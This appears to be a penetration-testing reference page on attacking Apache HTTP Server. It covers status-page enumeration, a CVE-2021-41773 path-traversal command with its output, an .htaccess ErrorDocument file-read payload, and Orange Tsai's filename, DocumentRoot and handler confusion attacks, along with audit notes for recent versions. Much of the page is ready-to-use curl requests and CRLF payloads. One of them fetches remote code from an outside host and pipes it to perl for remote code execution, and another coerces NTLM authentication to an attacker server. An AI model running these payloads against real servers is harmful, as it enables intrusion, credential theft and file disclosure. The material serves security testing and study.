Apache

Executable PHP extensions

Check which extensions is executing the Apache server. To search them you can execute:

 grep -R -B1 "httpd-php" /etc/apache2

Also, some places where you can find this configuration is:

/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

High-value Apache handlers to enumerate

Before going deep into rewrites, quickly check the built-in handlers because they can disclose exactly the Apache-specific pivots you need.

  • /server-status and especially /server-status?auto may expose current requests, client IPs, vhosts, and worker state. With ExtendedStatus On you can often recover internal paths, admin URLs, or tokens embedded in request lines.
  • /server-info accepts useful queries such as ?config, ?list, ?server, ?providers, or ?<module> and can dump parsed configuration: DocumentRoot, ProxyPass, ScriptAlias, SetHandler, auth rules, backend hosts, and loaded modules.
  • /balancer-manager can reveal BalancerMember backends, routes, stickysession names, and worker state. If write access is exposed, you may also be able to disable backends or change weights.

Quick checks:

for u in /server-status /server-status?auto /server-info /server-info?config /server-info?list /balancer-manager; do
  echo "### $u"
  curl -sk -i "https://target$u" | sed -n '1,40p'
done

If server-info?config is exposed, immediately grep for Apache-specific pivots:

curl -sk https://target/server-info?config | grep -E 'ProxyPass|ProxyPassMatch|SetHandler|AddHandler|AddType|ScriptAlias|ExecCGI|DAV On|AllowOverride'

Remember that server-info doesn't list .htaccess directives, so missing rules there doesn't prove a directory is clean. If you can upload or edit .htaccess, mod_status and mod_info become interesting again when AllowOverride FileInfo lets you use SetHandler. For CGI or WebDAV follow-up, see CGI Pentesting and WebDav.

CVE-2021-41773

curl http://<TARGET>/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

LFI via .htaccess ErrorDocument file provider (ap_expr)

If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.

  • Requirements:
  • Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4).
  • The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
  • The Apache worker user must have read permissions on the target file.

.htaccess payload:

# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}

Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting:

curl -s http://target/~user/does-not-exist | sed -n '1,20p'

Notes and tips: - Only absolute paths work. The content is returned as the response body for the 404 handler. - Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups. - Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess - Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).

Confusion Attack

These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.

Filename Confusion

Truncation

The mod_rewrite will trim the content of r->filename after the character ? (modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.

  • Path Truncation

It's possible to abuse mod_rewrite like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a ?:

RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Mislead RewriteFlag Assignment

In the following rewrite rule, as long as the URL ends in .php it's going to be treated and executed as php. Therefore, it's possible send a URL that ends in .php after the ? char while loading in the path a different type of file (like an image) with malicious php code inside of it:

RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

It's possible to access files the user shouldn't be able to access even if the access should be denied with configurations like:

<Files "admin.php">
    AuthType Basic
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

This is because by default PHP-FPM will receive URLs ending in .php, like http://server/admin.php%3Fooo.php and because PHP-FPM will remove anything after the character ?, the previous URL will allow to load /admin.php even if the previous rule prohibited it.

DocumentRoot Confusion

DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to https://server/abouth.html will check for the file in /var/www/html/about.html and /about.html in the file system. Which basically can be abused to access files in the file system.

Server-Side Source Code Disclosure

  • Disclose CGI Source Code

Just adding a %3F at the end is enough to leak the source code of a cgi module:

curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # #!/usr/bin/perl
 # use CGI;
 # ...
 # # the source code of download.cgi
  • Disclose PHP Source Code

If a server has different domains with one of them being a static domain, this can be abused to traverse the file system and leak php code:

# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php

Local Gadgets Manipulation

The main problem with the previous attack is that by default most access over the filesystem will be denied as in Apache HTTP Server’s configuration template:

<Directory />
    AllowOverride None
    Require all denied
</Directory>

However, Debian/Ubuntu operating systems by default allow /usr/share:

<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>

Therefore, it would be possible to abuse files located inside /usr/share in these distributions.

Local Gadget to Information Disclosure

  • Apache HTTP Server with websocketd may expose the dump-env.php script at /usr/share/doc/websocketd/examples/php/, which can leak sensitive environment variables.
  • Servers with Nginx or Jetty might expose sensitive web application information (e.g., web.xml) through their default web roots placed under /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Local Gadget to XSS

  • On Ubuntu Desktop with LibreOffice installed, exploiting the help files' language switch feature can lead to Cross-Site Scripting (XSS). Manipulating the URL at /usr/share/libreoffice/help/help.html can redirect to malicious pages or older versions through unsafe RewriteRule.

Local Gadget to LFI

  • If PHP or certain front-end packages like JpGraph or jQuery-jFeed are installed, their files can be exploited to read sensitive files like /etc/passwd:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Local Gadget to SSRF

  • Utilizing MagpieRSS's magpie_debug.php at /usr/share/php/magpierss/scripts/magpie_debug.php, an SSRF vulnerability can be easily created, providing a gateway to further exploits.

Local Gadget to RCE

  • Opportunities for Remote Code Execution (RCE) are vast, with vulnerable installations like an outdated PHPUnit or phpLiteAdmin. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.

Jailbreak from Local Gadgets

It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Moreover, abusing symlinks it was possible to obtain RCE in Redmine.

Handler Confusion

This attack exploits the overlap in functionality between the AddHandler and AddType directives, which both can be used to enable PHP processing. Originally, these directives affected different fields (r->handler and r->content_type respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting r->content_type into r->handler if the former is set and the latter is not.

Moreover, in the Apache HTTP Server (server/config.c#L420), if r->handler is empty before executing ap_run_handler(), the server uses r->content_type as the handler, effectively making AddType and AddHandler identical in effect.

Overwrite Handler to Disclose PHP Source Code

In this talk, was presented a vulnerability where an incorrect Content-Length sent by a client can cause Apache to mistakenly return the PHP source code. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting r->content_type to text/html.\ Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.

Overwrite Handler to XXXX

TODO: Orange hasn't disclose this vulnerability yet

Invoke Arbitrary Handlers

If an attacker is able to control the Content-Type header in a server response he is going to be able to invoke arbitrary module handlers. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to restart the request process abusing the Location header because if the returned Status is 200 and the Location header starts with a /, the response is treated as a Server-Side Redirection and should be processed

According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:

The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.

Therefore, to perform this attack is needed one of the following vulns:

  • CRLF Injection in the CGI response headers
  • SSRF with complete control of the response headers

Arbitrary Handler to Information Disclosure

For example /server-status should only be accessible locally:

<Location /server-status>
    SetHandler server-status
    Require local
</Location>

It's possible to access it setting the Content-Type to server-status and the Location header starting with /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrary Handler to Full SSRF

Redirecting to mod_proxy to access any protocol on any URL:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
 %0d%0a
%0d%0a

However, the X-Forwarded-For header is added preventing access to cloud metadata endpoints.

Arbitrary Handler to Access Local Unix Domain Socket

Access PHP-FPM’s local Unix Domain Socket to execute a PHP backdoor located in /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrary Handler to RCE

The official PHP Docker image includes PEAR (Pearcmd.php), a command-line PHP package management tool, which can be abused to obtain RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Check Docker PHP LFI Summary, written by Phith0n for the details of this technique.

Recent Apache notes worth testing

Reverse proxy request splitting via RewriteRule [P] / ProxyPassMatch

Apache 2.4.56 fixed a very useful reverse-proxy pattern: a broad RewriteRule or ProxyPassMatch captured attacker-controlled bytes and re-inserted them into the proxied request-target. In practice, any config that reflects $1, $2, etc. into a backend URL is worth fuzzing for request splitting / smuggling, ACL bypass, unintended backend paths, and cache poisoning.

Quick audit:

grep -RInE 'RewriteRule.*\[.*P.*\]|ProxyPassMatch|SetHandler\s+"proxy:|SetHandler\s+proxy:' /etc/apache2 /usr/local/apache2/conf 2>/dev/null

Fuzz attacker-controlled captures with:

  • %0d%0a
  • encoded ?, #, or ;
  • duplicated slashes and dot segments
  • path or query fragments that can change the upstream route

If you find one of these patterns, continue in HTTP Request Smuggling.

Hunt for UnsafeAllow3F and UnsafePrefixStat

Apache 2.4.60 introduced two opt-in mod_rewrite flags that effectively re-enable dangerous legacy behavior after the 2024 hardening work. From an attacker perspective, if you find them in a target config, the older confusion-style primitives become interesting again:

  • UnsafeAllow3F: Allows rewrites to continue when the request contains an encoded ? (%3f) and the rewritten substitution also contains a literal ?. This is exactly the pattern behind ?-based truncation / handler confusion tricks.
  • UnsafePrefixStat: Allows server-scoped substitutions that start with a backreference or variable and resolve to a filesystem path without forcing a safe DocumentRoot prefix first. This is the dangerous pattern behind path escapes and unexpected local file resolution.

Quick audit:

grep -RInE 'UnsafeAllow3F|UnsafePrefixStat|RewriteRule' /etc/apache2 /usr/local/apache2/conf 2>/dev/null

If those flags are present, re-test:

  • %3f in attacker-controlled captures that later influence RewriteRule substitutions or handler selection.
  • Server/vhost scoped rewrites where the first path segment comes from $1, %{ENV:*}, %{HTTP:*}, or similar attacker-influenced variables.

Windows UNC / NTLM coercion

On Windows deployments, recent Apache research showed that unsafe path handling can be turned into outbound SMB authentication to an attacker-controlled host. This matters whenever untrusted input reaches mod_rewrite, ap_expr, or type-map resolution.

Interesting conditions:

  • AllowEncodedSlashes On
  • On Windows, the combination AllowEncodedSlashes On + MergeSlashes Off is especially interesting on 2.4.65 and earlier
  • Debian/Ubuntu style AddHandler type-map var can make uploaded .var files interesting on Windows too

Basic probe:

curl http://server/%5C%5Cattacker-server/path/to

If the request is accepted and the server is Windows-based, Apache may attempt to resolve a UNC path and coerce NTLM authentication to attacker-server. In real intranet environments, treat this as more than "just SSRF": the leaked authentication can often be chained into NTLM relay.

If file upload is available and type-map support is enabled, a malicious .var file whose URI points to a UNC path can trigger the same class of outbound authentication.

Request-controlled Content-Type + mod_headers is a handler/proxy audit target

Apache 2.4.64 fixed a niche but relevant configuration class: if mod_proxy is loaded and mod_headers copies attacker-controlled data into the Content-Type request or response header, Apache can be tricked into making outbound proxy requests to attacker-chosen URLs. This fits the same handler-confusion theme as the section above.

Quick audit:

grep -RInE '(RequestHeader|Header).*(Content-Type|Content-type)' /etc/apache2 /usr/local/apache2/conf 2>/dev/null

If the Content-Type value is influenced by request data, test proxy:http://..., proxy:unix:/...|fcgi://..., and local handler names exactly like you would in a CRLF / header-injection chain.

2.4.64-only RewriteCond expr bug

If fingerprinting shows exactly Apache 2.4.64, treat every RewriteCond expr-based security control as suspect: all RewriteCond expr ... tests evaluate to true. Re-test IP/header/path gates, negative conditions, canonicalization rules, and "only proxy if ..." logic.

Quick audit:

grep -RIn 'RewriteCond expr' /etc/apache2 /usr/local/apache2/conf 2>/dev/null

AddType-based handler mappings are still a high-value audit target

The Handler Confusion section above is not only theoretical. Apache 2.4.60 and 2.4.61 had regressions where legacy content-type based handler mappings such as AddType application/x-httpd-php .php could disclose source code when files were requested indirectly instead of directly. Apache 2.4.62 fixed the regression, but this remains a good pentest check because many environments still rely on legacy AddType mappings.

Quick audit:

grep -RInE 'AddType\s+application/x-httpd-php|AddType\s+.*x-httpd' /etc/apache2 /usr/local/apache2/conf 2>/dev/null

If you find AddType instead of SetHandler / AddHandler, compare direct requests with any indirect request path that reaches the same script through an internal rewrite, local redirect, or ErrorDocument chain. Look for cases where PHP is suddenly served as text/plain / text/html instead of being executed.

References